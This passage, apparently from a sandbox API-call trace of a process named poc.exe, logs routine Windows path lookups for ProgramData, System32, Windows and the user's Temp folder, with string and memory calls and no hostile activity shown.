psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f67c*="c:\\ProgramData\\poc.exe") returned 1 [0091.546] SysReAllocStringLen (in: pbstr=0x28f988*="c:\\ProgramData\\poc.exe", psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f988*="c:\\ProgramData\\poc.exe\\") returned 1 [0091.547] SysReAllocStringLen (in: pbstr=0x28f678*=0x0, psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f678*="c:\\ProgramData\\poc.exe\\") returned 1 [0091.547] SysReAllocStringLen (in: pbstr=0x28f988*="c:\\ProgramData\\poc.exe\\", psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f988*="c:\\ProgramData\\poc.exe") returned 1 [0091.547] SysReAllocStringLen (in: pbstr=0x28f984*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f984*="c:\\ProgramData\\poc.exe") returned 1 [0091.547] SysReAllocStringLen (in: pbstr=0x4605e4*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x4605e4*="c:\\ProgramData\\poc.exe") returned 1 [0091.547] SysReAllocStringLen (in: pbstr=0x4605f8*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x4605f8*="c:\\ProgramData\\") returned 1 [0091.547] SysReAllocStringLen (in: pbstr=0x28f8fc*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f8fc*="c:\\ProgramData\\") returned 1 [0091.547] CharLowerBuffW (in: lpsz="c:\\ProgramData\\", cchLength=0xf | out: lpsz="c:\\programdata\\") returned 0xf [0091.547] SysReAllocStringLen (in: pbstr=0x460634*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x460634*="c:\\programdata\\") returned 1 [0091.548] SysReAllocStringLen (in: pbstr=0x460638*=0x0, psz="c:", len=0x2 | out: pbstr=0x460638*="c:") returned 1 [0091.548] SysReAllocStringLen (in: pbstr=0x460658*=0x0, psz="programdata", len=0xb | out: pbstr=0x460658*="programdata") returned 1 [0091.548] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0091.548] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.548] SysReAllocStringLen (in: pbstr=0x28f900*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f900*="c:\\") returned 1 [0091.548] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f584*="programdata") returned 1 [0091.548] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e00 [0091.548] FindNextFileW (in: hFindFile=0x758e00, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.548] GetLastError () returned 0x12 [0091.548] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.549] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f578*="c:\\ProgramData") returned 1 [0091.549] SysReAllocStringLen (in: pbstr=0x28f900*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f900*="c:\\ProgramData\\") returned 1 [0091.549] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f574*="c:\\ProgramData\\") returned 1 [0091.549] SysReAllocStringLen (in: pbstr=0x28f900*="c:\\ProgramData\\", psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f900*="c:\\ProgramData") returned 1 [0091.549] SysReAllocStringLen (in: pbstr=0x28f904*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f904*="c:\\ProgramData") returned 1 [0091.549] SysReAllocStringLen (in: pbstr=0x4605f8*="c:\\ProgramData\\", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x4605f8*="c:\\ProgramData\\") returned 1 [0091.549] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0091.550] GetSystemDirectoryW (in: lpBuffer=0x460630, uSize=0xfffe | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.551] CharLowerBuffW (in: lpsz="C:\\Windows\\system32", cchLength=0x13 | out: lpsz="c:\\windows\\system32") returned 0x13 [0091.551] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\windows\\system32", len=0x13 | out: pbstr=0x470638*="c:\\windows\\system32") returned 1 [0091.551] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.551] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="windows", len=0x7 | out: pbstr=0x47065c*="windows") returned 1 [0091.551] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="system32", len=0x8 | out: pbstr=0x47067c*="system32") returned 1 [0091.551] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsdata", lpUsedDefaultChar=0x0) returned 7 [0091.551] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32ata", lpUsedDefaultChar=0x0) returned 8 [0091.551] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0091.552] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.552] SysReAllocStringLen (in: pbstr=0x28f8f4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8f4*="c:\\") returned 1 [0091.552] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0091.552] FindFirstFileW (in: lpFileName="c:\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x758e00 [0091.552] FindNextFileW (in: hFindFile=0x758e00, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0091.552] GetLastError () returned 0x12 [0091.552] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.552] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Windows", len=0xa | out: pbstr=0x28f578*="c:\\Windows") returned 1 [0091.552] SysReAllocStringLen (in: pbstr=0x28f8f4*="c:\\Windows", psz="c:\\Windows\\", len=0xb | out: pbstr=0x28f8f4*="c:\\Windows\\") returned 1 [0091.552] SysReAllocStringLen (in: pbstr=0x28f584*="windows", psz="system32", len=0x8 | out: pbstr=0x28f584*="system32") returned 1 [0091.552] FindFirstFileW (in: lpFileName="c:\\Windows\\system32", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x758e00 [0091.553] FindNextFileW (in: hFindFile=0x758e00, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0 [0091.553] GetLastError () returned 0x12 [0091.553] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.553] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Windows\\", psz="c:\\Windows\\System32", len=0x13 | out: pbstr=0x28f578*="c:\\Windows\\System32") returned 1 [0091.553] SysReAllocStringLen (in: pbstr=0x28f8f4*="c:\\Windows\\System32", psz="c:\\Windows\\System32\\", len=0x14 | out: pbstr=0x28f8f4*="c:\\Windows\\System32\\") returned 1 [0091.553] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Windows\\System32\\", len=0x14 | out: pbstr=0x28f574*="c:\\Windows\\System32\\") returned 1 [0091.553] SysReAllocStringLen (in: pbstr=0x28f8f4*="c:\\Windows\\System32\\", psz="c:\\Windows\\System32", len=0x13 | out: pbstr=0x28f8f4*="c:\\Windows\\System32") returned 1 [0091.553] SysReAllocStringLen (in: pbstr=0x28f8f8*=0x0, psz="c:\\Windows\\System32", len=0x13 | out: pbstr=0x28f8f8*="c:\\Windows\\System32") returned 1 [0091.553] SysReAllocStringLen (in: pbstr=0x4605f0*=0x0, psz="c:\\Windows\\System32\\", len=0x14 | out: pbstr=0x4605f0*="c:\\Windows\\System32\\") returned 1 [0091.554] SysReAllocStringLen (in: pbstr=0x28f8ec*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f8ec*="c:") returned 1 [0091.554] SysReAllocStringLen (in: pbstr=0x4605f4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x4605f4*="c:\\") returned 1 [0091.554] GetTempPathW (in: nBufferLength=0xfffe, lpBuffer=0x460630 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0091.554] CharLowerBuffW (in: lpsz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", cchLength=0x25 | out: lpsz="c:\\users\\5p5nrg~1\\appdata\\local\\temp\\") returned 0x25 [0091.554] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrg~1\\appdata\\local\\temp\\", len=0x25 | out: pbstr=0x470638*="c:\\users\\5p5nrg~1\\appdata\\local\\temp\\") returned 1 [0091.554] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.554] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.554] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrg~1", len=0x8 | out: pbstr=0x47067c*="5p5nrg~1") returned 1 [0091.554] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0091.555] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0091.555] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="temp", len=0x4 | out: pbstr=0x4706a0*="temp") returned 1 [0091.555] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="usersm32ata", lpUsedDefaultChar=0x0) returned 5 [0091.555] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrg~1", cchWideChar=8, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrg~1ata", lpUsedDefaultChar=0x0) returned 8 [0091.555] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdata1ata", lpUsedDefaultChar=0x0) returned 7 [0091.555] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localta1ata", lpUsedDefaultChar=0x0) returned 5 [0091.555] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="temp", cchWideChar=4, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="templta1ata", lpUsedDefaultChar=0x0) returned 4 [0091.555] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.556] SysReAllocStringLen (in: pbstr=0x28f8e0*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8e0*="c:\\") returned 1 [0091.556] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.556] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x759010 [0091.556] FindNextFileW (in: hFindFile=0x759010, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.556] GetLastError () returned 0x12 [0091.556] FindClose (in: hFindFile=0x759010 | out: hFindFile=0x759010) returned 1 [0091.556] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.556] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f8e0*="c:\\Users\\") returned 1 [0091.556] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrg~1", len=0x8 | out: pbstr=0x28f584*="5p5nrg~1") returned 1 [0091.556] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrg~1", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x759010 [0091.557] FindNextFileW (in: hFindFile=0x759010, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.557] GetLastError () returned 0x12 [0091.557] FindClose (in: hFindFile=0x759010 | out: hFindFile=0x759010) returned 1 [0091.557] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.557] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.557] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrg~1", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0091.557] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x759068 [0091.557] FindNextFileW (in: hFindFile=0x759068, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0091.557] GetLastError () returned 0x12 [0091.557] FindClose (in: hFindFile=0x759068 | out: hFindFile=0x759068) returned 1 [0091.557] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0091.557] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0091.557] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="local", len=0x5 | out: pbstr=0x28f584*="local") returned 1 [0091.557] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x758eb0 [0091.558] FindNextFileW (in: hFindFile=0x758eb0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0091.558] GetLastError () returned 0x12 [0091.558] FindClose (in: hFindFile=0x758eb0 | out: hFindFile=0x758eb0) returned 1 [0091.558] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0091.558] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0091.558] SysReAllocStringLen (in: pbstr=0x28f584*="local", psz="temp", len=0x4 | out: pbstr=0x28f584*="temp") returned 1 [0091.558] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\temp", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6cec7b60, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x6cec7b60, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0x758eb0 [0091.558] FindNextFileW (in: hFindFile=0x758eb0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6cec7b60, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x6cec7b60, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0091.558] GetLastError () returned 0x12 [0091.558] FindClose (in: hFindFile=0x758eb0 | out: hFindFile=0x758eb0) returned 1 [0091.558] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", len=0x30 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 1 [0091.558] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", len=0x31 | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned 1 [0091.559] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", len=0x31 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned 1 [0091.559] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", len=0x30 | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 1 [0091.559] SysReAllocStringLen (in: pbstr=0x28f8e4*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", len=0x30 | out: pbstr=0x28f8e4*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 1 [0091.559] SysReAllocStringLen (in: pbstr=0x4605fc*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", len=0x31 | out: pbstr=0x4605fc*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned 1 [0091.559] GetWindowsDirectoryW (in: lpBuffer=0x460630, uSize=0xfffe | out: lpBuffer="C:\\Windows") returned 0xa [0091.560] CharLowerBuffW (in: lpsz="C:\\Windows", cchLength=0xa | out: lpsz="c:\\windows") returned 0xa [0091.560] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\windows", len=0xa | out: pbstr=0x470638*="c:\\windows") returned 1 [0091.560] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.560] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="windows", len=0x7 | out: pbstr=0x47065c*="windows") returned 1 [0091.560] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows1ata", lpUsedDefaultChar=0x0) returned 7 [0091.560] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.560] SysReAllocStringLen (in: pbstr=0x28f8d4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8d4*="c:\\") returned 1 [0091.560] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0091.560] FindFirstFileW (in: lpFileName="c:\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x758e58 [0091.560] FindNextFileW (in: hFindFile=0x758e58, lpFindFileData=0x28f5b0 | 